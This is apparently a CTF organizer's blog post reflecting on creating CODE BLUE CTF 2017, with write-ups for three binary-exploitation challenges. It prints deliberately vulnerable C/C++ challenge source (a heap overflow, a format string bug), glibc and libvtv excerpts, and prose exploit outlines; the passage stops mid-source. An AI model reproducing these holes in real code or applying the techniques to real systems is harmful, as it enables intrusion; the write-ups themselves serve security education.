Thoughts on CODE BLUE CTF(+ write-ups)

TL; DR

It took me(not binja!) almost 3 years to organize CODE BLUE CTF since I began to dream of it.
For those who wanna read only my write-ups, here is the teleporter :)

2015-2016

In 2015, I was in the second year of high school.
Actually I had already lost my eagerness for CTF.
By then, I’d participated in DEFCON CTF 2014 Finals, which I think is the youngest record(I’m not sure), and won the 1st place in CODEGATE CTF 2015 Junior.
These results were honorable enough for me to consider to retire from “the unhealthy competition”.
Also almost 4 years had passed since I started CTF. They were just so long that I got bored.
(Still and all I’m lingering and continuing on playing CTF as you know. This is because there are tempting prizes and sometimes it’s fun nevetheless. How weak my determination is…)

But, there would be one regrettable thing if I had quit playing CTF at that time:
I never oraganized CTF.

As the somewhat experienced CTF player, I was enraged at some terrible domestic CTF, which is organized by some people who never take part in decent CTFs, and I thought that I could hold a much better CTF.
I was really unpleasant to see them never feel apologetic for creating extremely terrible problems or making fatal mistakes(Everyone makes mistakes of course. Post-treatment and introspection are important), and was worried if my country would be considered as “the country throwing up rubbish” by players in other coutries.
Therefore I made up my mind to organize a CTF.

binja CTF 2015

As you can see, I created the “binja CTF 2015” folder in Google Drive, and called to my team members to work together to organize it.
They showed, however, little reaction to me.
It was maybe because they were members of society, which means that they were too busy to spare time for it, and that they had a relationship with those “bad” people, and their organizing CTF would be translated as a hostile act against the people. This is a Japanese “tradition”. I dislike it.
Indeed, as you may notice, I was very radical about this topic, and hated the people too much(Now I got mature enough, so I don’t care anymore). I was heartily disappointed with their reaction.

Nevertheless, one of them kindly created a problem(numonly), and I did it, too.
I created the following problems:

  • My Sandbox Revenge: this problem came from “My Sandbox”, which I’d created in 2014 for EpsilonDelta CTF. Because My Sandbox was considerably easy, I wanted to repair it. I’m sorry that ED CTF has already closed.
  • Under Debugging Revenge: this problem also came from “Under Debugging”, which is the worst crap I vomited into ED CTF. I really regretted posting that problem, and was waiting for an opportunity to improve it. It was then that I found Master Canary Forging, the technique of overwriting master canary. And I thought this could be used for the problem. After some experiments, it turned out that the technique can be applied for link_map, which means the technique is very strong and applicable to many cases. I was impressed with this event, and suceeded in updating Under Debugging. But actually the problem was used in WCTF 2017 :(
  • Demo Scene DB: this problem named after Plaid CTF 2015 PlaidDB. When I saw this problem, I recalled that I had found some heap exploitation technique and written the club article about it in my first year of high school. In this age, this is known as some kind of “House of Mind”.
  • nonamestill: this problem named after DEFCON CTF 2014 nonameyet. I found nonameyet had some unintended heap buffer overflow and eventually it turned out that the bug was attributed not to DEFCON, but to some open-source library which DEFCON used in that problem. I was impressed with the fact that such a beautiful real vulnerability can exist in a CTF problem, and wanted to create a problem using it.

In creating CTF problems, I have some policies.
First, I want to say, to exploitation beginners, “Know the specifications”.
Hacking is to find a flaw, but one cannot see if what is a flaw without knowing the specifications of the target.
Therefore, hacking starts with becoming familiar with what you want to hack.
So I make it a rule to ask beginners specifications when I create a problem for them. In the above problems, nonamestill is the one which asks you how strchr works.

Second, hacking requires understanding what’s going on.
You may think this sentence states the same content as the first one.
But they are different in the point that anything can happen outside specifications.
It is obvious that there are countless ways of implementing specifications, and they could behave different ways despite of their complying with the specifications.
Then, what can we do to deal with this difference?
The most reliable method is to read source code.
In the above problems, My Sandbox Revenge and Demo Scene DB require you to do that.
They both actually have the key point in glibc, so it’s inevitable that you would download and read glibc.
At the same time, I’m very careful that those problem don’t need a sort of 0-day vulnerabilities or illogical processes.
Because this is CTF, just a miniature garden for hackers, it shouldn’t be unreasonable or unfair. The problems must be solvable using only a logical thinking.

From this point of view, I had a hard time creating Under Debugging Revenge.
At first, I used glibc’s malloc in this challenge, but it’s almost impossible for others to come up with Master Canary Forging or link_map Forging.
So I had to embed a kind of hint or “guide” to the intended solution.
That’s why I used Under Debugging, in which an original heap allocator that uses mmap was implemented.

“Vertical Takeoff Vertical landing” is also such a problem.
@Charo_IT joined my team in 2016, and he asked me if there was any interesting subject in GCC which could be used in CTF.
I skimmed the source code of GCC, and found VTV.
Then I came up with a problem where challengers have to bypass VTV.
The only thing is that the problem is in an unrealistic situation.
But that awkwardness must be a hint, so I left it as it is.

So far, I made 5 tasks.
However, I had no opportunity to release these problems because no other people were willing to create problems or organize a CTF.

2017

In 2017, I suddenly reached a turning point.
Actually some person in TokyoWesterns had the same complaints and anxiety about the domestic situation of CTF.
I asked him to cooperate with me to organize a CTF.
He generously accepted it. Thinking back now, actually his presence, urging me to act, was truly important for me.
Also, I told one of the organizers of CODE BLUE what we wanted to do, and asked her to allow us to organize CODE BLUE’s CTF.
To my surprise, she agreed with it extremely kindly and soon.
It was very fortunate that TokyoWesterns, that had lots of experience of organizing CTFs, was willing to support us and we could introduce our CTF as CODE BLUE CTF because the CTF of the conference is cool like HITCON CTF or DEFCON CTF.

Thus, “CODE BLUE CTF 2017” folder was born in Google Drive.
CODE BLUE CTF 2017

After that, I called my team members for help again.
This time their responses were much better and they posted the problems really.
They can do that if they put their mind to it.

Time flies like an arrow; I felt it too short since we started preparing the CTF till it started.
Of course until then we prepared and tested the tasks, adjusting their difficulties.
But one of the regrettable things is the balance of problem categories.
As you can see, I had already prepared 4 problems while the others don’t have so much time to create a number of problems, especially difficult ones.
We didn’t want to release uninteresting problems, so I think that was inevitable due to the limit of time.
Another thing I feel sad about is that CODE BLUE CTF was a weekday CTF.
But this event hadn’t been an official event of CODE BLUE until we asked the organizers of CODE BLUE. That means they didn’t intend to spend resources on our CTF, or rather we were surprised at their kind preparation of prizes.
So I think a week day CTF was also inevitable though I’m mortified from the bottom of my heart.
Of course we are going to make the CTF better in those points. Don’t miss it!

Write-ups

So stop a silly talk and let’s move on to write-ups!

nonamestill

I think this problem is easier than Charo’s “Simple Memo Pad”, so I didn’t expect that only 4 teams could solve it.
Maybe this is because teams acted too carefully judging difficulties from the number of teams that had solved problems, and they never tackled with it.

Here is the source code of the problem:

nonamestill.cview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
/*
gcc nonamestill.c -o nonamestill -Wl,-s -m32
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct URLList {
struct URLList *next;
char url[];
};

struct URLList *g_head;

char *cgiDecodeString (char *text) {
char *cp, *xp;

for (cp=text,xp=text; *cp; cp++) {
if (*cp == '%') {
if (strchr("0123456789ABCDEFabcdef", *(cp+1))
&& strchr("0123456789ABCDEFabcdef", *(cp+2))) {
if (islower(*(cp+1)))
*(cp+1) = toupper(*(cp+1));
if (islower(*(cp+2)))
*(cp+2) = toupper(*(cp+2));
*(xp) = (*(cp+1) >= 'A' ? *(cp+1) - 'A' + 10 : *(cp+1) - '0' ) * 16
+ (*(cp+2) >= 'A' ? *(cp+2) - 'A' + 10 : *(cp+2) - '0');
xp++;cp+=2;
}
} else {
*(xp++) = *cp;
}
}

memset(xp, 0, cp-xp);
return text;
}

void print_banner(void) {
puts(" __ __ ____ _ ___ ___ __ ___ ___ ___ ____ ");
puts(" | | || \\ | | | \\ / _] / ] / \\ | \\ / _]| \\ ");
puts(" | | || D )| | | \\ / [_ / / | || \\ / [_ | D )");
puts(" | | || / | |___ | D || _]/ / | O || D || _]| / ");
puts(" | : || \\ | | | || [_/ \\_ | || || [_ | \\ ");
puts(" | || . \\| | | || \\ || || || || . \\");
puts(" \\__,_||__|\\_||_____| |_____||_____|\\____| \\___/ |_____||_____||__|\\_|");
puts(" ");
}

void print_menu(void) {
puts("===== Menu =====");
puts("1: create a url");
puts("2: decode a url");
puts("3: list urls");
puts("4: delete a url");
puts("5: exit");
puts("================\n");
}

int get_integer(void) {
int ret = 0;
char buf[16];
fgets(buf, sizeof(buf), stdin);
sscanf(buf, "%d", &ret);
return ret;
}

void create_url(void) {
unsigned int size;
struct URLList *node;

printf("size: ");
size = get_integer();
if (size+sizeof(struct URLList) < size) {
puts("Error: invalid size");
exit(0);
}

node = malloc(sizeof(struct URLList) + size);
if (!node) {
puts("Error: malloc failed");
exit(0);
}

printf("URL: ");
fgets(node->url, size, stdin);
node->next = g_head;
g_head = node;
}

void decode_url(void) {
int idx;

printf("index: ");
idx = get_integer();

struct URLList *node = g_head;
while (idx--) {
if (node == NULL) break;
node = node->next;
}

if (node == NULL) {
puts("Error: no such url");
exit(0);
}

cgiDecodeString(node->url);
}

void list_urls(void) {
int idx = 0;
struct URLList *node = g_head;

puts("LIST START");
while (node) {
printf("%d: %s\n", idx, node->url);
node = node->next;
idx++;
}
puts("LIST END");
}

void delete_url(void) {
int idx;

printf("index: ");
idx = get_integer();

struct URLList *prev = NULL;
struct URLList *node = g_head;
while (idx--) {
if (node == NULL) break;
prev = node;
node = node->next;
}

if (node == NULL) {
puts("Error: no such url");
exit(0);
}

if (prev == NULL) {
g_head = node->next;
} else {
prev->next = node->next;
}

free(node);
}

int main() {
setbuf(stdout, NULL);

print_banner();

while (1) {
int cmd;

print_menu();
printf("> ");
cmd = get_integer();

if (cmd == 1) {
create_url();
} else if (cmd == 2) {
decode_url();
} else if (cmd == 3) {
list_urls();
} else if (cmd == 4) {
delete_url();
} else if (cmd == 5) {
exit(0);
} else {
puts("Error: undefined command");
}
}
}

At once you can see that cgiDecodeString is very suspicious.
Its naming convention is different from others’ one in the first place.

Because there seems to be no other interesting function in this source code, one can immediately suspect that this function has a vulnerability; actually it has.
Let’s take a look at line 21 and 22.
It is obvious that these lines check if a character is included in the character set “0123456789ABCDEFabcdef”.
But, are you confident that you understand the specifications of strchr correctly?
If not, why don’t you google the man page?

It says

The terminating null byte is considered part of the string, so that if c is specified as ‘\0’, these functions return a pointer to the terminator.

So this means if cp = “A\x00”, these lines hold true.
And it causes a buffer overrun and eventually a heap-based buffer overflow.
After noticing this fact, you can just use House of Force and get the flag :)

Vertical Takeoff Vertical landing

Surprisingly, Cykor solved this problem for only an hour and a half!
In my opinion, this problems is the second hardest in my 4 problems, so I was astonished.

Here is the source code of the problem:

vtvl.cpp++view raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
/*
g++ vtvl.cpp -o vtvl -std=c++11 -Wl,-s -Wl,-z,relro,-z,now -fstack-protector-all -fvtable-verify=std -static-libstdc++
*/

#include <cstdlib>
#include <cstring>
#include <cstdint>
#include <cinttypes>
#include <unistd.h>
#include <errno.h>
using namespace std;

#define myprintf(s) write(1, (s), strlen((s)))
#define myputs(s) write(1, (s "\n"), strlen((s "\n")))

void recvlen(char *buf, size_t n) {
ssize_t rc;

while (n--) {
rc = read(0, buf, 1);
if (rc == 0) return;
if (rc == -1) {
if (errno == EAGAIN || errno == EINTR) {
continue;
}
return;
}

if (*buf == '\n') {
*buf = '\0';
return;
}

buf++;
}
}

uint64_t GetInt() {
char buf[0x20] = "";
recvlen(buf, 0x1f);
return strtoull(buf, NULL, 10);
}

class Rocket {
public:
static void *operator new(size_t size, void *buf) { return buf; }
static void operator delete(void *p, void *buf) {}
virtual void Operate(uint8_t *op, uint64_t size) {
uint64_t i;
int64_t x = 0;
int64_t y = 100;

for (i=0; i<size; i++) {
switch (op[i]) {
case 'D':
y--;
break;
case 'L':
x--;
break;
case 'R':
x++;
break;
default:
exit(-1);
}
}

if (x == 0 && y == 0) myputs("The rocket landed successfully.");
else myputs("Failed.");
}
};

class UnusedRocket : public Rocket {
void Operate(uint8_t *op, uint64_t size) {}
};

void ReadLine(char *buf) {
ssize_t rc;
while (1) {
rc = read(0, buf, 1);
if (rc == 0) break;
if (rc == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
return;
}

if (*buf == '\n') {
*buf = '\0';
break;
}
buf++;
}
}

char *name;
Rocket *rocket;
char name_dup[64];

void print_banner(void) {
myputs(" ");
myputs(" ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄ ");
myputs("▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ ");
myputs(" ▐░▌ ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ");
myputs(" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ");
myputs(" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ");
myputs(" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ");
myputs(" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ");
myputs(" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ");
myputs(" ▐░▐░▌ ▐░▌ ▐░▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ");
myputs(" ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌");
myputs(" ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ");
myputs(" ");
}

void service(void) __attribute__((constructor(100)));
void service(void) {
uint64_t i;
uint64_t size;
rocket = new (alloca(sizeof(Rocket))) Rocket;
name = (char*)alloca(64);

print_banner();
myputs("**** Welcome to VTVl(Vertical Takeoff Vertical landing) simulator! ****\n");
myprintf("Your name: ");
ReadLine(name);
memcpy(name_dup, name, 64);
myprintf("Hi, ");
myprintf(name);
myputs("!\n");

myprintf("Size of operation: ");
size = GetInt();
uint8_t *ptr = (uint8_t*)valloc(size+1);
if (!ptr) {
myputs("Couldn't allocate the requested size.");
exit(-1);
}

recvlen((char*)ptr, size);
rocket->Operate(ptr, size);
myputs("Bye.");
exit(0);
}

int main(void) {
// We decided to provide no hint or no help in order to adjust the difficulty.
/* myputs("Hint: see _init_array.");
myputs("And for simplicity, you may use this if you can.");
execl("/bin/sh", "/bin/sh", NULL);*/
}

I think it is really easy for you to find a stack buffer overflow and a heap-based buffer overflow at line 126 and 140.
But as the problem name suggests, this problem uses VTV, which makes it almost impossible to exploit this problem.

By the way, it is very weird that this program doesn’t use main at all, that service has __attribute__((constructor(100)));, and that the program uses valloc instead of malloc.
Actually these are the key points to solve the task.

So how does __attribute__((constructor(100))); affect VTV?
You would find the answer of this question only by reading the source code of VTV.

Here it is:

vtv_end.chttps://github.com/gcc-mirror/gcc/blob/master/libgcc/vtv_end.c
1
2
3
4
5
6
7
8
9
10
11
12
#include "vtv-change-permission.h"

__attribute__ ((constructor(100))) void
__VLTprotect (void)
{
__VLTChangePermission (__VLTP_READ_ONLY);
}

/* Page-sized variable to mark end of .vtable_map_vars section. */
char _vtable_map_vars_end[VTV_PAGE_SIZE]
__attribute__ ((__visibility__ ("protected"), used,
section(".vtable_map_vars")));

So this means the call of service probably precedes the call of __VLTprotect.
You can confirm this seeing .init_array.

What does __VLTprotect do?
This is also the question you can’t answer unless you read the source code:

vtv_rts.cc++https://github.com/gcc-mirror/gcc/blob/master/libvtv/vtv_rts.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void
__VLTChangePermission (int perm)
{
...

/* Ordering of these unprotect/protect calls is very important.
You first need to unprotect all the map vars and side
structures before you do anything with the core data
structures (hash_maps) */

if (perm == __VLTP_READ_WRITE)
{
/* TODO: Need to revisit this code for dlopen. It most probably
is not unlocking the protected vtable vars after for load
module that is not the first load module. */
__gthread_mutex_lock (&change_permissions_lock);

vtv_unprotect_vtable_vars ();
__vtv_malloc_init ();
__vtv_malloc_unprotect ();

}
else if (perm == __VLTP_READ_ONLY)
{
if (debug_hash)
log_set_stats();

__vtv_malloc_protect ();
vtv_protect_vtable_vars ();

__gthread_mutex_unlock (&change_permissions_lock);
}
}

...

static void
vtv_protect_vtable_vars (void)
{
int mprotect_flags;

mprotect_flags = PROT_READ;
#if defined (__CYGWIN__) || defined (__MINGW32__)
iterate_modules ((void *) &mprotect_flags);
#else
dl_iterate_phdr (dl_iterate_phdr_callback, (void *) &mprotect_flags);
#endif
change_protections_on_phdr_cache (mprotect_flags);
}

...

static void
change_protections_on_phdr_cache (int protection_flag)
{
char * low_address = (char *) &(vtv_sect_info_cache);
size_t cache_size = MAX_ENTRIES * sizeof (struct sect_hdr_data);

low_address = (char *) ((uintptr_t) low_address & ~(VTV_PAGE_SIZE - 1));

if (mprotect ((void *) low_address, cache_size, protection_flag) == -1)
VTV_error ();
}

vtv_malloc.cc++https://github.com/gcc-mirror/gcc/blob/master/libvtv/vtv_malloc.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

void
__vtv_malloc_protect (void)
{
change_protections_on_data_chunks (PROT_READ);
}

/* This function goes through all of the pages we have allocated so
far and calls mprotect to change the protections on the pages,
according to the value of PROTECTION_FLAG. */

static void
change_protections_on_data_chunks (int protection_flag)
{
struct _obstack_chunk *ci;
ci = (struct _obstack_chunk *) current_chunk;

while (ci)
{
/* Initial set up for mprotect call.*/
struct _obstack_chunk *protect_start = ci;
size_t chunk_size;
size_t total_size;
unsigned int num_pages_in_chunk;
char *next_page;
unsigned long long start, end;
int result;


/* As long as the next 'chunk' is adjacent to the current one,
keep going down the list. */
do
{
chunk_size = (ci->limit - (char *) ci);
total_size = (ci->limit - (char *) protect_start);
num_pages_in_chunk = chunk_size / VTV_PAGE_SIZE;
if (chunk_size % VTV_PAGE_SIZE > 0)
num_pages_in_chunk++;
next_page = (char *) ci + (num_pages_in_chunk * VTV_PAGE_SIZE);
ci = ci->prev;
} while (ci && (char *) ci == next_page);

VTV_DEBUG_ASSERT (((unsigned long) protect_start & (VTV_PAGE_SIZE - 1))
== 0);

/* Protect the contiguous chunks so far. */
start = rdtsc ();
result = mprotect (protect_start, total_size, protection_flag);
end = rdtsc ();
mprotect_cycles += end - start;
if (result == -1)
VTV_error ();
num_calls_to_mprotect++;
num_pages_protected += (total_size + VTV_PAGE_SIZE - 1)/ VTV_PAGE_SIZE;
}

#ifdef VTV_DEBUG
__vtv_malloc_dump_stats ();
#endif
}

So it seems some pages used in VTV, which are read-only normally, are left writable with this configuration.
Because mprotect is used in the source code, it is obvious that those pages are created with mmap(of course you can check it reading the source code more).

At this stage what you want to do becomes a bit clearer: to overwrite those pages which are likely to contain the information used for verification.
But how? There should be only stack-based and heap-based buffer overflows.

Recall that, malloc allocates blocks of memory larger than MMAP_THRESHOLD bytes in a private anonymous mapping using mmap.
Then it follows that you can overwrite the pages if you can allocates more than MMAP_THRESHOLD bytes and cause a buffer overflow there.
But actually this doesn’t work alone.
That is because you need to call valloc(0) setting the size as -1.
The default value of MMAP_THRESHOLD is 0x20000. Zero won’t be greater than this value unless 1=0.

Here, you need to wonder why valloc is used instead of malloc.
This time read glibc!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
void *
__libc_valloc (size_t bytes)
{
if (__malloc_initialized < 0)
ptmalloc_init ();

void *address = RETURN_ADDRESS (0);
size_t pagesize = GLRO (dl_pagesize);
return _mid_memalign (pagesize, bytes, address);
}

_init
ptmalloc_init (void)
{
if (__malloc_initialized >= 0)
return;

__malloc_initialized = 0;

#ifdef SHARED
/* In case this libc copy is in a non-default namespace, never use brk.
Likewise if dlopened from statically linked program. */
Dl_info di;
struct link_map *l;

if (_dl_open_hook != NULL
|| (_dl_addr (ptmalloc_init, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
__morecore = __failing_morecore;
#endif

thread_arena = &main_arena;
const char *s = NULL;
if (__glibc_likely (_environ != NULL))
{
char **runp = _environ;
char *envline;

while (__builtin_expect ((envline = next_env_entry (&runp)) != NULL,
0))
{
size_t len = strcspn (envline, "=");

if (envline[len] != '=')
/* This is a "MALLOC_" variable at the end of the string
without a '=' character. Ignore it since otherwise we
will access invalid memory below. */
continue;

switch (len)
{
case 6:
if (memcmp (envline, "CHECK_", 6) == 0)
s = &envline[7];
break;
case 8:
if (!__builtin_expect (__libc_enable_secure, 0))
{
if (memcmp (envline, "TOP_PAD_", 8) == 0)
__libc_mallopt (M_TOP_PAD, atoi (&envline[9]));
else if (memcmp (envline, "PERTURB_", 8) == 0)
__libc_mallopt (M_PERTURB, atoi (&envline[9]));
}
break;
case 9:
if (!__builtin_expect (__libc_enable_secure, 0))
{
if (memcmp (envline, "MMAP_MAX_", 9) == 0)
__libc_mallopt (M_MMAP_MAX, atoi (&envline[10]));
else if (memcmp (envline, "ARENA_MAX", 9) == 0)
__libc_mallopt (M_ARENA_MAX, atoi (&envline[10]));
}
break;
case 10:
if (!__builtin_expect (__libc_enable_secure, 0))
{
if (memcmp (envline, "ARENA_TEST", 10) == 0)
__libc_mallopt (M_ARENA_TEST, atoi (&envline[11]));
}
break;
case 15:
if (!__builtin_expect (__libc_enable_secure, 0))
{
if (memcmp (envline, "TRIM_THRESHOLD_", 15) == 0)
__libc_mallopt (M_TRIM_THRESHOLD, atoi (&envline[16]));
else if (memcmp (envline, "MMAP_THRESHOLD_", 15) == 0)
__libc_mallopt (M_MMAP_THRESHOLD, atoi (&envline[16]));
}
break;
default:
break;
}
}
}
if (s && s[0])
{
__libc_mallopt (M_CHECK_ACTION, (int) (s[0] - '0'));
if (check_action != 0)
__malloc_check_init ();
}
void (*hook) (void) = atomic_forced_read (__malloc_initialize_hook);
if (hook != NULL)
(*hook)();
__malloc_initialized = 1;
}

Wow! It shows you can change the value of MMAP_THRESHOLD setting the environment variable “MALLOC_MMAPTHRESHOLD“.
In this problem, you can set it using a stack buffer overflow.
So this is solvable!
What you have to do is:

  1. set “MALLOC_MMAPTHRESHOLD=0” using a stack buffer overflow
  2. overwrite the hash map of VTV in an anonymous mapping using a heap buffer overflow
  3. do ROP calling arbitrary addresses using vtable overwrite

You need to be careful with mapping: the order of mapping in the memory space can change so easily. Even /etc/ld.so.cache can affect it. It is preferable that you prepare the enviroment close to the remote one using vagrant and the given files.

My Sandbox Revenge

In contrast to VTVl, this problem went against my past expectation that many teams would solve it. Now I think I was a bit crazy.
But I still wonder why Cykor couldn’t solve this problem as fast as VTVl because this is similar to that problem.

Here is the source code of the problem:

my_sandbox_revenge.cview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
/*
gcc my_sandbox_revenge.c -o my_sandbox_revenge -Wl,-s -Wl,-z,now,-z,relro -fno-stack-protector
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define STACK_SIZE 1000000

#define puts(s)\
write(1, s "\n", strlen(s "\n"))

#define printf(s)\
write(1, s, strlen(s))

void echo(char *buf, int len) {
//int len;
size_t map_size;
size_t guard_size = 0x21000;
void *new_stack;
void *tmp_rsp;
void *tmp_rbp;
char *tmp_buf;

map_size = sizeof(char*) + sizeof(char)*len + STACK_SIZE + sizeof(void*)*8;
map_size = (map_size+0xfff) & (~0xfff);
new_stack = mmap(NULL,
map_size+guard_size,
PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE,
-1,
0);
if (new_stack == MAP_FAILED) {
puts("Sorry, something went wrong!!!");
return ;
}

munmap(new_stack+map_size, guard_size); // create a "guard hole"
tmp_rbp = new_stack + sizeof(char)*len + STACK_SIZE + sizeof(void*)*8;
tmp_rsp = tmp_rbp - sizeof(void*)*8 - sizeof(char)*len;
tmp_buf = tmp_rsp;

printf("Entered: ");
memcpy(tmp_buf, buf, len);

asm volatile(
"movq %0, %%rax"::"g"(tmp_buf)
);
asm volatile(
"movq %rbp, %fs:0x200"
);
asm volatile(
"movq %rsp, %fs:0x208"
);
asm volatile(
"movq %0, %%rsp"::"g"(tmp_rsp)
);
asm volatile(
"movq %0, %%rbp"::"g"(tmp_rbp)
);
asm volatile(
"movq %rax, -0x8(%rbp)"
);

dprintf(1, tmp_buf);

asm volatile(
"movq %fs:0x200, %rbp"
);
asm volatile(
"movq %fs:0x208, %rsp"
);

puts("\n");

munmap(new_stack, sizeof(char*) + sizeof(char) * len + STACK_SIZE);
return ;
}

int read_n(void *buf, int size) {
int idx = 0;
while (size > 0) {
int ret = read(0, buf+idx, size);
if (ret < 0) return -1;
size -= ret;
idx += ret;
}
return 0;
}

int read_until(char *buf, unsigned int size, char c) {
int idx = 0;
while (size > 0) {
int ret = read(0, buf+idx, 1);
if (ret < 0) return -1;
if (buf[idx] == c) {
buf[idx] = '\0';
break;
}

size -= ret;
idx += ret;
}
return 0;
}

int main() {
unsigned int size;
char *buf;

puts("\nWelcome to my echo program!");
sleep(1);

puts("\n\nThis program has some bug.");
puts("I couldn't fix that... :(");
sleep(1);

puts("\nAlso a sandbox I developed in the past was defeated by evil hackers.");
sleep(2);

puts("\nSo, let me retry. I have a lot of confidence in this brand new sandbox.");
puts("Crackers will never be able to get shell, haha! :)\n");

sleep(1);

printf("Enter the size of your message: ");
if (read_n(&size, sizeof(unsigned int)) < 0) {
puts("Sorry, something went wrong!!!");
return 0;
}

if (size+1 < size) {
puts("Sorry, something went wrong!!!");
return 0;
}

buf = (char*)malloc(size+1);
if (!buf) {
puts("Sorry, something went wrong!!!");
return 0;
}

printf("Enter your message: ");
memset(buf, '\x00', size+1);
if (read_until(buf, size, '\n') < 0) {
puts("Sorry, something went wrong!!!");
return 0;
}
echo(buf, size+1);
free(buf);

puts("\nSeems you couldn't crack my program. I'm a winner!");
puts("See you.\n");
}

The vulnerability is self-evident: a format string bug at line 68.
But because of the sandboxed stack and the guard hole created with mmap and munmap, there are few things you can exploit in this program.
As there is nothing interesting to overwrite that has the known address, you need to think deeper.

In the same way as VTVl, you should come up with the idea that you can fill the guard hole if you succeed in calling mmap with the appropriate size.
It is well known that malloc uses mmap for large size allocation, so malloc is useful for this purpose with high probability.
You may think “Wait, there is no malloc call in the above source code!”.
Yes, that’s right. Then why don’t you take a look at glibc?
So read vfprintf :)
Because you have to allocate a quite large block of memory, allocations like malloc(sizeof(CHAR_T)*X) are probably useless.
Let’s find some better allocation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
/* For positional argument handling. */
struct scratch_buffer specsbuf;
scratch_buffer_init (&specsbuf);
struct printf_spec *specs = specsbuf.data;
size_t specs_limit = specsbuf.length / sizeof (specs[0]);

/* Used as a backing store for args_value, args_size, args_type
below. */
struct scratch_buffer argsbuf;
scratch_buffer_init (&argsbuf);

/* Array with information about the needed arguments. This has to
be dynamically extensible. */
size_t nspecs = 0;

/* The number of arguments the format string requests. This will
determine the size of the array needed to store the argument
attributes. */
size_t nargs = 0;

/* Positional parameters refer to arguments directly. This could
also determine the maximum number of arguments. Track the
maximum number. */
size_t max_ref_arg = 0;

/* Just a counter. */
size_t cnt;

CHAR_T *workstart = NULL;

if (grouping == (const char *) -1)
{
#ifdef COMPILE_WPRINTF
thousands_sep = _NL_CURRENT_WORD (LC_NUMERIC,
_NL_NUMERIC_THOUSANDS_SEP_WC);
#else
thousands_sep = _NL_CURRENT (LC_NUMERIC, THOUSANDS_SEP);
#endif

grouping = _NL_CURRENT (LC_NUMERIC, GROUPING);
if (*grouping == '\0' || *grouping == CHAR_MAX)
grouping = NULL;
}

for (const UCHAR_T *f = lead_str_end; *f != L_('\0');
f = specs[nspecs++].next_fmt)
{
if (nspecs == specs_limit)
{
